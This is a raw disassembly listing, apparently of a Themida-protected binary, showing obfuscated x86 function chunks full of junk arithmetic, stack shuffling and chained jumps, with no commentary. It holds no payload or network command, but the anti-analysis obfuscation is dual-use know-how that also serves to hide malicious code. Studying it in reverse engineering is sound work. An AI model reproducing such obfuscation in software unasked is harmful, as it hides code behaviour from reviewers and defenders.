xchg eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
or eax, eax
jz loc_5749C3
push dword ptr [edi+1Ch]
jmp loc_56646D
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_5741C1: ; CODE XREF: sub_572DD7+E44j
mov eax, [esp+4+var_4]
jmp loc_56C008
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_5741C9: ; CODE XREF: sub_566C83-60ACj
xchg edx, [esp+4+var_4]
pop esp
or ecx, ebx
pop ebx
add ecx, 0B04E113Bh
jmp loc_5629E1
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_5741DB: ; CODE XREF: sub_56CD13-2D02j
mov edx, 4
mov ecx, edx
pop edx
jmp loc_57482B
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_5741E8: ; CODE XREF: sub_57109F-10EFCj
add ebp, 4
push esi
mov esi, 42B13E12h
or esi, 46F87B81h
dec esi
jmp loc_56A338
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
loc_574200: ; CODE XREF: Themida_:00561182j
push eax
jmp loc_570B18
; ---------------------------------------------------------------------------
loc_574206: ; CODE XREF: Themida_:00569653j
sub esi, 0BD08E2E4h
sub ecx, esi
pop esi
push edx
mov edx, 3B262869h
neg edx
push eax
mov eax, 3AD56995h
xor eax, 2CDC6AAEh
add edx, eax
jmp loc_56E202
; =============== S U B R O U T I N E =======================================
sub_574229 proc near ; DATA XREF: Themida_:0055FF44o
; FUNCTION CHUNK AT 005610C3 SIZE 0000000B BYTES
lodsb
sub al, 0EAh
jmp loc_5610C3
sub_574229 endp
; ---------------------------------------------------------------------------
loc_574231: ; CODE XREF: Themida_:0056B17Ej
sub ecx, 4132736Eh
add ecx, 11CF052Ah
pop eax
push edi
mov edi, 4EB60D73h
jmp loc_562839
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_574249: ; CODE XREF: sub_56638C+C649j
push esi
mov esi, 494471A7h
mov edx, esi
pop esi
sub edx, 494471A3h
add ebx, edx
jmp loc_574FE4
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_57425F: ; CODE XREF: sub_574AF3-42B0j
add [esp+4+var_4], 4
mov ecx, [esp+4+var_4]
add esp, 4
push ebp
jmp loc_56812B
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_57426F: ; CODE XREF: sub_568764+57CEj
mov esp, [esp+0]
push 3107h
mov [esp-4+arg_0], ebx
push 538Ah
mov [esp+0], edi
jmp loc_5632E0
; END OF FUNCTION CHUNK FOR sub_568764
; =============== S U B R O U T I N E =======================================
sub_574287 proc near ; DATA XREF: Themida_:0055FDB0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00565FD0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005678A4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00567E31 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00569AFE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056A3C3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056EBAE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EE96 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005721A4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00575271 SIZE 00000013 BYTES
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
jmp loc_56EBAE
sub_574287 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_574292: ; CODE XREF: sub_570732-3F4Cj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0]
mov esp, [esp+0]
or eax, eax
jz loc_5614C4
push ebp
jmp sub_560276
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_5742B1: ; CODE XREF: sub_56351E+F9AEj
push 3BB3h
jmp loc_56371D
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5742BB: ; CODE XREF: sub_571F6F-F968j
add esp, 4
sub al, bh
mov ebx, [esp]
add esp, 4
push eax
mov ah, 7Eh
shl ah, 4
push ebx
mov bl, 7Ah
jmp loc_57002C
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_5742D7: ; CODE XREF: sub_567D31+271Fj
push [esp+8+var_8]
jmp loc_5725D0
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_5742DF: ; CODE XREF: sub_56628B-3A69j
sub esi, 0B29B7FA6h
sub esp, 4
jmp loc_56A8F8
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_5742ED: ; CODE XREF: sub_563DCB+B8FDj
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp+2+var_4+2]
pop esp
add al, cl
mov ecx, [esp+0]
jmp sub_564BC5
; END OF FUNCTION CHUNK FOR sub_563DCB
; =============== S U B R O U T I N E =======================================
sub_574304 proc near ; CODE XREF: sub_569193+71C8j
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560B30 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00560EB8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561167 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00561BAE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005633F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056395A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005644FF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564AB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005654CE SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056551F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056564B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00565734 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00565D36 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056661F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566808 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056690B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566AB0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00566B26 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005675EF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567A7F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567BE6 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 00568B4B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568FB0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056A69D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056A865 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AE9E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056B1F3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B3E0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C872 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056D554 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D89C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056DE58 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E1AE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F1B1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056F9D1 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00570B84 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005710B9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057142E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00571A18 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571C80 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571DA1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005729B4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00572F17 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005734B3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057470E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057486F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00574AD6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00574E2A SIZE 00000014 BYTES
sub esp, 4
jmp loc_56564B
sub_574304 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FAE2
loc_57430C: ; CODE XREF: sub_56FAE2+293Fj
mov word ptr [esp-0Eh+arg_8+2], sp
jmp loc_56AA71
; END OF FUNCTION CHUNK FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_574315: ; CODE XREF: sub_56616D+D31Fj
push dword ptr [esp+0]
pop eax
push esi
mov esi, esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_562212
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_574336: ; CODE XREF: sub_56CC46-C7DCj
mov edx, esp
jmp loc_56E082
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
loc_57433D: ; CODE XREF: Themida_:00571E54j
pop edi
jmp loc_571ED9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B37
loc_574343: ; CODE XREF: sub_566B37-679Fj
sub esi, ecx
pop ecx
jmp loc_56518D
; END OF FUNCTION CHUNK FOR sub_566B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_57434B: ; CODE XREF: sub_5604FE+8CBj
push dword ptr [esp+0]
push [esp+4+var_4]
push [esp+8+var_8]
pop eax
add esp, 4
push eax
jmp loc_57542D
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_574361: ; CODE XREF: sub_56657A+720Ej
add ebp, 6266435Ah
jmp loc_5647EE
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_57436C: ; CODE XREF: sub_560EA2+13F83j
push esi
mov esi, 682D61FAh
add eax, esi
pop esi
pop edx
push ecx
push edx
mov edx, 1FF550Fh
dec edx
add edx, 2A365281h
sub edx, 65B05395h
push ebp
push edi
push 439B0378h
jmp loc_56EE17
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_574396: ; CODE XREF: sub_572DD7-D631j
sub dword ptr [esp+4], 63DB75D8h
sub [esp+4], eax
jmp loc_573C13
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5743A7: ; CODE XREF: sub_5678CB+D280j
mov esp, [esp+0Eh+var_E]
mov ch, bh
mov ebx, [esp+8+var_A+2]
add esp, 4
sub ch, 4Ch
add al, ch
jmp loc_56747C
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_5743BF: ; CODE XREF: sub_563819+EBCCj
xchg esi, [esp+0]
pop esp
jmp loc_570CAD
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5750DE
loc_5743C8: ; CODE XREF: sub_5750DE-10F92j
pop ecx
add esp, 4
pop esi
push eax
jmp loc_565F66
; END OF FUNCTION CHUNK FOR sub_5750DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_5743D3: ; CODE XREF: sub_56CC46-BA01j
push 395Bh
mov [esp+0Ch+var_C], ebp
mov ebp, 31D42B4Bh
sub ebp, 2F853C21h
jmp loc_561767
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A61D
loc_5743EB: ; CODE XREF: sub_56A61D+25j
mov esp, [esp+4+var_4]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56A61D
; ---------------------------------------------------------------------------
loc_5743F3: ; CODE XREF: Themida_:0056C8C9j
pop dword ptr [esp]
jmp loc_5617BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56513E
loc_5743FB: ; CODE XREF: sub_56513E-2896j
add ebp, 43071AE0h
add ebp, 0F68FD223h
add esi, ebp
pop ebp
add ebp, esi
pop esi
jmp sub_5750DE
; END OF FUNCTION CHUNK FOR sub_56513E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_574412: ; CODE XREF: sub_574FC9-6325j
add ebx, edi
sub ebx, 371B6D13h
mov edi, [esp+0]
add esp, 4
xor ebx, [esp-4+arg_0]
xor [esp-4+arg_0], ebx
xor ebx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
idiv cl
movzx cx, ah
push small 6E0Ch
mov word ptr [esp-6+arg_0+2], cx
movzx cx, al
push cx
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_574446: ; CODE XREF: sub_56AB51+A818j
mov esi, [esp+0Ch+var_C]
jmp loc_56B96A
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56306E
loc_57444E: ; CODE XREF: sub_56306E+4j
push 73BAh
mov [esp+4+var_4], ecx
push esp
pop ecx
sub esp, 4
mov [esp+8+var_8], edx
mov edx, 4
sub ecx, 453474C5h
push edx
mov edx, 582C61ABh
jmp loc_56F1E9
; END OF FUNCTION CHUNK FOR sub_56306E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_574477: ; CODE XREF: sub_561418+7A1Aj
add ebp, edi
mov edi, [esp+14h+var_14]
jmp loc_56CA20
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_574481: ; CODE XREF: sub_56AEF2-1AFCj
add ebp, 4
push esi
jmp loc_56002E
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560457
loc_57448D: ; CODE XREF: sub_560457+B5B6j
pop ebp
xchg ebx, [esp+0]
mov esp, [esp+0]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_560457
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_574499: ; CODE XREF: sub_561418-1121j
mov [esp+0], edx
mov edx, 63AA1D43h
dec edx
inc edx
push eax
jmp loc_567D5C
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_5744A9: ; CODE XREF: sub_572E16-109BBj
mov ecx, [esp+4+var_4]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edi
push esp
mov edi, [esp+8+var_8]
push ebp
sub esp, 4
mov [esp+10h+var_10], esp
add [esp+10h+var_10], 4
pop ebp
add ebp, 4
push 6365h
mov [esp+10h+var_10], ecx
push esi
jmp loc_56A3F9
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57199D
loc_5744FC: ; CODE XREF: sub_57199D-9B82j
dec ebx
xchg eax, ebx
jmp loc_5607E9
; END OF FUNCTION CHUNK FOR sub_57199D
; =============== S U B R O U T I N E =======================================
sub_574503 proc near ; DATA XREF: Themida_:0055FEE8o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560B93 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056790A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056BBFA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056D138 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F050 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00575210 SIZE 00000006 BYTES
mov cx, [esp+0]
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, esp
add ebx, 4
jmp loc_56F050
sub_574503 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_57451A: ; CODE XREF: sub_574F16-4802j
push 16B8h
mov [esp+10h+var_12+2], ecx
mov ch, 9Bh
sub dl, 0F6h
jmp loc_567358
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_57452C: ; CODE XREF: sub_565849+B04Aj
sub edx, 181377C0h
push eax
mov eax, 35D12159h
neg eax
sub eax, 4F7FAC22h
add edx, eax
pop eax
mov ebx, [esp+0]
add esp, 4
push ebx
mov ebx, 2
add edx, ebx
pop ebx
push edx
push [esp+arg_0]
mov edx, [esp+4+var_4]
jmp loc_571E59
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_57455E: ; CODE XREF: sub_56616D+819Ej
add dword ptr [esp+4], 63D85901h
add [esp+4], ecx
sub dword ptr [esp+4], 63D85901h
push [esp-14h+arg_10]
pop ecx
jmp loc_571003
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_57457B: ; CODE XREF: sub_56AEF2-A24Bj
pop esp
push edx
push 4
pop edx
add ebx, edx
push [esp-4+arg_0]
pop edx
push 3D46h
jmp loc_56EB7E
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_574593: ; CODE XREF: sub_561027+11A0Dj
mov esi, 1
sub esp, 4
mov [esp+0], edx
push eax
mov eax, 24h
push eax
push eax
mov eax, 1CE46C0Ah
sub [esp+0Ch+var_8], eax
pop eax
jmp loc_560D16
; END OF FUNCTION CHUNK FOR sub_561027
; =============== S U B R O U T I N E =======================================
sub_5745B5 proc near ; DATA XREF: Themida_:0055FD28o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560A58 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561623 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00565472 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056A13E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056CACE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056F244 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FCC4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FF8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005732ED SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0057490F SIZE 0000000D BYTES
lodsb
jmp loc_560A58
sub_5745B5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5745BB: ; CODE XREF: sub_57354D-1D38j
push eax
jmp loc_56D8FE
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_5745C1: ; CODE XREF: sub_56FB8A-96C8j
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_56BB59
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_5745CF: ; CODE XREF: sub_569FB8+542Fj
mov esp, [esp+0Eh+var_E]
add al, bl
mov bx, [esp+2+var_2]
jmp loc_561316
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5745DD: ; CODE XREF: sub_5685B2+9958j
push dword ptr [esp+4]
pop edx
pop [esp+4+var_4]
jmp loc_569467
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5745EA: ; CODE XREF: sub_56AB5E-7128j
mov ebx, [esp+8+var_8]
jmp loc_562888
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5745F2: ; CODE XREF: sub_564D26+EC1Aj
pop ecx
xor edx, [esp+0]
xor [esp+0], edx
jmp loc_574C3A
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_5745FE: ; CODE XREF: sub_563A7F+6DE1j
mov edx, [esp+10h+var_10]
jmp loc_56BFF3
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_574606: ; CODE XREF: sub_5634AF-806j
add eax, 0B550F03Bh
mov ebp, eax
pop eax
dec ebp
sub ebp, 1
xchg eax, ebp
not eax
xchg eax, ebp
add ebp, 419D8D03h
add edx, ebp
pop ebp
sub edx, 6B1D33D1h
jmp loc_56380C
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_57462D: ; CODE XREF: sub_56A7FB+8265j
dec bl
or bl, 0E1h
push cx
mov ch, bl
not ch
mov bl, ch
pop cx
xchg dl, bl
xor dl, bl
xor bl, dl
xor dl, bl
neg bl
xchg bl, dl
xchg dl, bl
push eax
sub esp, 4
jmp loc_561A33
; END OF FUNCTION CHUNK FOR sub_56A7FB
; =============== S U B R O U T I N E =======================================
sub_574656 proc near ; CODE XREF: sub_563BCC+C106j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00561566 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00563BC0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563E44 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005640F7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056451C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005649E5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00565290 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00566046 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056689A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567598 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005676E2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056776A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00567812 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00567DA0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00568167 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 00568716 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00568C19 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056922A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00569731 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569BE7 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056A9C6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056B21B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056B25B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C9D7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056CF9B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D060 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D1BD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056D82D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E0A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E6A2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056ED3F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F08C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F498 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056FFFF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005707B3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00571294 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005717E9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00571C8B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573414 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00573A16 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00573E66 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00574A19 SIZE 00000008 BYTES
push ebp
jmp loc_56F498
sub_574656 endp
; ---------------------------------------------------------------------------
loc_57465C: ; CODE XREF: Themida_:0055FFB3j
add ecx, ebx
mov ebx, [esp]
add esp, 4
push eax
mov eax, 2
add ecx, eax
pop eax
jmp loc_5712FA
; ---------------------------------------------------------------------------
loc_574672: ; CODE XREF: Themida_:00574083j
sub [esp], ebp
sub dword ptr [esp], 16887CAAh
push dword ptr [esp]
pop ebp
add esp, 4
not ebp
sub ebp, 0B2CDC8BEh
add eax, ebp
pop ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_56C8B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_57469F: ; CODE XREF: sub_57549C-14874j
mov ebx, [esp+14h+var_14]
add esp, 4
push eax
push ecx
xor [esp+18h+var_18], 12B90CE2h
pop eax
xor eax, 12B90CE2h
push eax
pop edx
jmp loc_56E771
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_5746BE: ; CODE XREF: sub_566DFE+C7Cj
add esp, 4
mov eax, [esp+0]
add esp, 4
add edi, 5BF202DCh
sub edi, 67A0486Ah
jmp loc_564A38
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB93
loc_5746DB: ; CODE XREF: sub_56AB93+38j
push ecx
jmp loc_568CEB
; END OF FUNCTION CHUNK FOR sub_56AB93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_5746E1: ; CODE XREF: sub_569AB3-2119j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
or edx, eax
shl edx, 1
jmp loc_566D7E
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_5746FC: ; CODE XREF: sub_5610CE+180Cj
pop eax
inc ebp
push edx
mov edx, 46B83A15h
add ebp, edx
pop edx
add esi, ebp
jmp loc_560E29
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_57470E: ; CODE XREF: sub_574304-9452j
shl ebp, 2
jmp loc_566B26
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_574716: ; CODE XREF: sub_565632+9DC2j
pop edi
jmp loc_567CD4
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
loc_57471C: ; CODE XREF: Themida_:00560228j
pop esi
push 15B5h
jmp loc_56328C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_574727: ; CODE XREF: sub_5678CB+1CA2j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0]
jmp loc_560ED3
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726BB
loc_57473A: ; CODE XREF: sub_5726BB-166Bj
xor edi, 4F2F1C7Ch
sub edi, 54C6392h
jmp sub_56D0B7
; END OF FUNCTION CHUNK FOR sub_5726BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_57474B: ; CODE XREF: sub_56616D+5A39j
pop esp
jmp loc_569587
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_574751: ; CODE XREF: sub_57354D-FA14j
shl edx, 7
or edx, 64BD0A2Eh
jmp loc_5679E8
; END OF FUNCTION CHUNK FOR sub_57354D
